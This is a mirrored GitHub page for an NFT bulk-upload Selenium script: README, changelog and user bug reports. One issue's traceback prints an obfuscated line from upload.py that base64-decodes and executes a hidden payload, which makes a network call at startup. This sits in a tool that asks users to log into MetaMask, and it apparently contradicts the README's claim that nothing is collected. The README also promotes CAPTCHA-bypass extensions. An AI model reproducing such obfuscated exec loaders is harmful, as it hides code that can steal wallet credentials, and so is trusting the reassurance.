Giter Site home page Giter Site logo

bulk-upload-to-opensea's Introduction

bulk-upload-to-opensea

A cross platform python IDE implementing selenium 4
If you want to support this project or me, please check out my NFTs
https://opensea.io/collection/fortune-cat-neko and wish give it a little love or grab it.
Thank you.

Tutorial video v1.0
https://www.youtube.com/watch?v=yEowEDfTSpA
~ or ~
Easy step by step
https://www.youtube.com/watch?v=j0WguSodGf8
Bulk upload to opensea - Buster: Captcha Solver
https://www.youtube.com/watch?v=6IoyczfQxtg

Pay Service

Why need to pay? I realise some user are over requested additional feature or addon over the limitation. if you are really need additional function for this bulk upload please contact my twitter @klvntss and the charge will by project basis. https://www.fiverr.com/kelvintss

Disclaimer

This free version script are not collect or capture any information while it running. Make sure you are understand the all coding and process before running, please read line by line the original code before start running. We will not be liable for any losses and/or damages for using of our script. Use at your own risk.

Changelog

  • Version 2.0.1 (upload_2captcha V2.py)
    Deleted some controls that were no longer needed for the polygon.
    Added Latest stable release: ChromeDriver
  • Version 2.0.0 (upload_2captcha V2.py)
    2Captcha and Buster Solver combined in one file
    Added repetitive error checks for many possible errors that may occur on the site
    Added "chrome_extension" Please open chrome_extension folder and read the instructions
    Collection Scraper added as prototype.
  • Version 1.9.0 (upload_2captcha.py)
    2Captcha Solver
    https://chrome.google.com/webstore/detail/2captcha-solver/ifibfemgeogfhoebkmokieepdoobkbpo?hl=en
    get your API-key from 2captcha.com
    Enabled & Solve automatically reCaptcha V2 at option page.
  • Version 1.8.9 (upload_captcha.py)
    Fixed duration range selection
  • Version 1.8.8 (upload_captcha.py)
    Add chrome extesion: Buster: Captcha Solver for Humans
    https://chrome.google.com/webstore/detail/buster-captcha-solver-for/mpbjkejclgfgadiemmefgebjfooflfhl?hl=en
    extension settings: Select any "speech service" and put in API key
  • Version 1.8.1 (upload18.py)
    • support "attributes" and "properties" metadata format
  • Version 1.8 (upload18.py)
    • Duration support added. Maximum duration is 6 months.
      *Please install "pip install python-dateutil"
      PC date format MUST set to mm/dd/yyyy
  • Version 1.0 (upload.py)
    • Standard version

Instructions

  • Download and extract this project in your local device (keep all files and folders that come with the repo in this folder)
  • Download and update Python. My python version is 3.8.10 * https://www.youtube.com/watch?v=9o4gDQvVkLU
  • Put all the NFTs images into folder “src/images” (etc 1.png), and NFTs properties metadata .json file put into folder src/json. (etc 1.json)
  • Open this project folder with any code editor and click "open powershell " or "Terminal"
  • Pip install requirements.txt by running the following command (pip install -r requirements.txt)
    Please install PIP for Python if “pip is not recognized as an internal or external command
  • Run the script, type "python upload.py"
  • Once running the script, will pop-up the application
  • Fill in the variable for your project upload properties,
  • Click and Select the “src” folder.
  • Click and “save this form”
  • Click “open chrome browser” will popup a new chrome browser, login / sign-in your metamask account. Download metamask extension if don’t have
  • Download I'm not robot captcha clicker extension link: https://chrome.google.com/webstore/detail/im-not-robot-captcha-clic/ceipnlhmjohemhfpbjdgeigkababhmjc/related?hl=en-US
  • And click “start” to let it run.

For Collection Scraper added as prototype
  • Open your collection page like : https://www.opensea.io/collection/yourcollectionsname
  • Set the browser's zoom to 50% or less and wait for the page to fully load.
  • Click "SCRAPE Collection" Button to let it run
  • If you're having trouble doing it in bulk, on the collection page search for 1 and start then 2 then 3... You can do this up to 9 for a 10k collection.

Checklist before press "start" button

  • Disabled opensea night mode
  • Opensea collection link must end with "assets/create",
    look like this : https://www.opensea.io/collection/yourcollectionsname/assets/create
  • If polygon please tick "polycon blockchain
  • Please check "complete listing" for listing and unchecked for create NFT without listing step
  • If polygon please tick "polycon blockchain!
  • Select your images & json "src" folder
  • double check your image / json format: 1.png or 1.json

ChromeDriver - WebDriver for Chrome

Download your compatible chromedriver.exe https://chromedriver.chromium.org/downloads

Enhanced section

Will do a unique price setting for each individual nft image.
If you like my project, please check out my NFTs https://opensea.io/collection/fortune-cat-neko and do a minimun support. Thank you.

Message for a MacOS user

Currently this script only tested in Windows 7. Not compatible for MacOS

Contact me

If you have any questions or want to get in contact you can find me on twitter by searching @klvntss

Thanks

Please share and leave your star star
If you found it useful, buy me a coffee( i like coffee :),
Paypal: https://paypal.me/klvntss
Ethereum address: 0xd5146965809e4286e24dcf2bfbf58c3840d433a2
Thank you very much

bulk-upload-to-opensea's People

Contributors

infotrex avatar karakule3dfx avatar zacharyakers avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

bulk-upload-to-opensea's Issues

Is it possible to post in polygon network?

Sir, The plugin is working well. But I am stuck at the point the payment is called. Is it possible to post items as in Polygon network.
I have checked the Polygon Blockchain but still it is not working.

It won't add new lines for properties

This is very weird that I've uploaded 100+ NFTs today with no problem. But suddenly it stopped populating the properties properly.
Screenshot: https://imgur.com/2T8vTxK
I have multiple property fields: background, skin, hat, eye, ......
But as you can see, no new lines were added and the new property keys and values are just being appended to the previous ones.
This shouldn't be problems with my JSON file as:

  1. I can see that it's appending new properties one at a time to the same text box
  2. I tried the ones uploaded successfully but they are having the same issue this time

I tried upload.py, upload-sign.py and upload-only.py. Same problem

Linux Version

Could you also make a version working with chrome driver for linux?

Changing listing duration?

Firstly I want to start off by saying thank you for making an incredible tool!

I was wondering if it's possible to change the listing duration and would it be possible to have a feature that would also bulk/automatic relisting of everything that's left unsold?

I'm thinking this will be a desirable feature for a lot of people.

Thanks again!!

python upload.py not working

i have a problem when running '' python upload.py '' it fails and this comes up: PS C:\Users\Mathias\Documents\bulk-upload-to-opensea-main> python upload.py
Traceback (most recent call last):
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.752.0_x64__qbz5n2kfra8p0\lib\urllib\request.py and a lot more text i cant fit and i cant seem to solve this error. do you have a solution for this problem then plz help im on windos if that helps.

6 months listing option doesn't work

The script doesn't set the listing duration to 6 months. Instead of adjusting the end month, it adjusts the end date before moving the cursor to the "month".
github

Open Chrome Browser

when we press the Open Chrome Browser button, we get a message on the terminal like this. can you help?

Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Python310\lib\tkinter_init_.py", line 1921, in call
return self.func(*args)
File "", line 65, in open_chrome_profile
File "C:\Python310\lib\subprocess.py", line 966, in init
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Python310\lib\subprocess.py", line 1435, in _execute_child
hp, ht, pid, tid = _winapi.CreateProcess(executable, args,
PermissionError: [WinError 5] Access is denied

6 months instead of 1 month PLEASE

In your script NFTs load with Date Range 1 month, but before clicking on "Complete listing", you can set 6 months in the "Ending" (calendar)

Make it possible to set 6 months instead of 1, please
Screenshot 2022-01-27 at 11 38 33 am

Stop working after uploading some NFTs

Hi, I was trying to upload 500 NFTs. the process stopped after uploading 11 NFTs. then it stopped at 44. meta mask open and it will not continue the process. I need to click on sign in manually. after that Need to start uploading again. can you please tell me how to fix it?
Kind regards

Metamask sign

At the end, I have to manually confirm (Sign) Metamask for each NFT loaded.
Loads everything automatically, but does not confirm Metamask automatically.

Erorr message:

Software_Issue

ETH blockchain prices not working

Hello there,
I tried this with ETH blockchain. When it comes to putting the price, the program stopped after filling 0.05 as price. it's not completing the listing.

Image Not Loading

Hello there , my image is not loading on opensea some blob error coming there... please help me out i mreally thankful of yours !
Screenshot 2022-01-21 011515

blob error and freeze at properties

Hi there,
I got two errors. One is blob as I can't see my image.
blob
And the other is it gets freezed at properties. The error says,

number  0
Exception in Tkinter callback
Traceback (most recent call last):
  File "C:\Users\Hoon\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 1921, in __call__
    return self.func(*args)
  File "<string>", line 314, in main_program_loop
  File "<string>", line 227, in wait_xpath
  File "C:\Users\Hoon\AppData\Local\Programs\Python\Python310\lib\site-packages\selenium\webdriver\support\wait.py", line 89, in until   
    raise TimeoutException(message, screen, stacktrace)
selenium.common.exceptions.TimeoutException: Message:
Stacktrace:
Backtrace:
        Ordinal0 [0x00F56903+2517251]
        Ordinal0 [0x00EEF8E1+2095329]
        Ordinal0 [0x00DF2848+1058888]
        Ordinal0 [0x00E1D448+1233992]
        Ordinal0 [0x00E1D63B+1234491]
        Ordinal0 [0x00E47812+1406994]
        Ordinal0 [0x00E3650A+1336586]
        Ordinal0 [0x00E45BBF+1399743]
        Ordinal0 [0x00E3639B+1336219]
        Ordinal0 [0x00E127A7+1189799]
        Ordinal0 [0x00E13609+1193481]
        GetHandleVerifier [0x010E5904+1577972]
        GetHandleVerifier [0x01190B97+2279047]
        GetHandleVerifier [0x00FE6D09+534521]
        GetHandleVerifier [0x00FE5DB9+530601]
        Ordinal0 [0x00EF4FF9+2117625]
        Ordinal0 [0x00EF98A8+2136232]
        Ordinal0 [0x00EF99E2+2136546]
        Ordinal0 [0x00F03541+2176321]
        BaseThreadInitThunk [0x75A5F989+25]
        RtlGetAppContainerNamedObjectPath [0x77A674B4+228]
        RtlGetAppContainerNamedObjectPath [0x77A67484+180]

What am I missing? My Chrome driver is 96 and I exactly followed you instruction video.
Thank you for your hard work and your answer would be really really appreciated.

Getting SSL_CERTIFICATE_VERIFY_FAILED

Trying this on windows getting certifcate has expired. pip install requirements have passed successfully and verified that certfi folder is present in site-packages.
Is there any additional step to be done?
Should we add anything int cacert.pem file?

Sign lag

Awesome fix to the sign issue - thx! But there is about a 10 second lag at the first sign screen - is there a place to shorten that time?

Thx for the help.

Item name's number padding

Hi could you please add an option to pad numbers in item name?
Like:
"Item №001"
"Item №023"
"Item №124"
And the ability to change symbol "#" is also much needed.
I publish NFTs like this one (yup, it is yours).

Is it possible to remove the batch size limit?

Currently it only allows uploading up to 1000 NFTs.
If there is good reason for such a cap, may I suggest to allow leading 0's (001, 002, ... 999)?
That way, the users can just add a '1' to the title for items from 1001 - 1999, and so on.

Not recognising image src folder?

Hi, great code, current issue is that when running the programme, it doesn't recognised the image src folder? Also when trying to save the form warning sign pops up saying description required even thought I have added this? I look forward to hearing from you soon.

KR
Susie

Upload.py will not run (SSL: Certificate_Verify_Failed)

Traceback (most recent call last):
File "C:\Users\A\Desktop\OpenseaUpload\upload.py", line 11, in
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec'))
File "", line 53, in
File "", line 44, in init
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 214, in urlopen
return opener.open(url, data, timeout)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 517, in open
response = self._open(req, data)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 534, in _open
result = self._call_chain(self.handle_open, protocol, protocol +
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 494, in _call_chain
result = func(*args)
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 1389, in https_open
return self.do_open(http.client.HTTPSConnection, req,
File "C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.9_3.9.2544.0_x64__qbz5n2kfra8p0\lib\urllib\request.py", line 1349, in do_open
raise URLError(err)
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: certificate has expired (_ssl.c:1129)>

This is what I am getting when running python upload.py - Any help is appreciated.

Error while filling properties

:244: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
:249: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
:253: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
:257: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
:268: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead
Exception in Tkinter callback
Traceback (most recent call last):
File "C:\Python310\lib\tkinter_init_.py", line 1921, in call
return self.func(*args)
File "", line 277, in main_program_loop
KeyError: 'attributes'

Nothing Happens when you press start.

Nothing happens when pressing start. Followed every step to a T. Been trying for hours, tried deleting all files and restarting as well. Doesn't seem to work. Made sure to use the src path that i copied the meta data and pngs into. No idea where the problem is occurring. Im sitting on the add item page when i press start, maybe because I'm utilizing polygon block chain? Press start goes gray for a second or two then back to green.

cant find chrome

when I press "open in chrome browser" it writes that can't find chrome, check the name and repeat. how can I fix it? please help
I work on windows 7 and replaced the chromedriver file but it still doesn't work

SSL: CERTIFICATE_VERIFY_FAILED

Hi,
using the following version of python just installed

>python --version
Python 3.10.2

when I launch the upload.py I'm obtaining :

>python upload.py
Traceback (most recent call last):
...
ssl.SSLCertVerificationError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: certificate has expired (_ssl.c:997)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
 ...
urllib.error.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: certificate has expired (_ssl.c:997)>

I'm on windows 10, can you help me pls?

Please HELP

Снимок экрана 2022-01-30 071532

I don't understand what the problem is. It just stops at the metadata tab and doesn't fill them in.

DeprecationWarning

Hi

I am getting this error when I am trying to run the code.

:211: DeprecationWarning: executable_path has been deprecated, please pass in a Service object
:211: DeprecationWarning: use options instead of chrome_options

How can I fix this?Please, help.

Thank you!

Selenium version not supported for chrome version 98

selenium.common.exceptions.WebDriverException: Message: unknown error: cannot connect to chrome at localhost:8989
from session not created: This version of ChromeDriver only supports Chrome version 96
Current browser version is 98.0.4758.81

Hangs on "create asset" page & Timeout before creating first NFT. Photo is also "Broken" Image.

  1. Extremely long load times in the chrome instance that the program opens.
  2. Will not create the NFT, program stops after entering "Description" field

ERRORS:

<string>:255: DeprecationWarning: find_element_by_* commands are deprecated. Please use find_element() instead

 File "C:\...Programs\Python\Python310\lib\tkinter\__init__.py", line 1921, in __call__
    return self.func(*args)
  File "<string>", line 314, in main_program_loop
  File "<string>", line 227, in wait_xpath
  File "C:\...\Programs\Python\Python310\lib\site-packages\selenium\webdriver\support\wait.py", line 89, in until    
    raise TimeoutException(message, screen, stacktrace)
selenium.common.exceptions.TimeoutException: Message:

Mac os support?

Is there any plans for mac os support? It will be really helpful.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.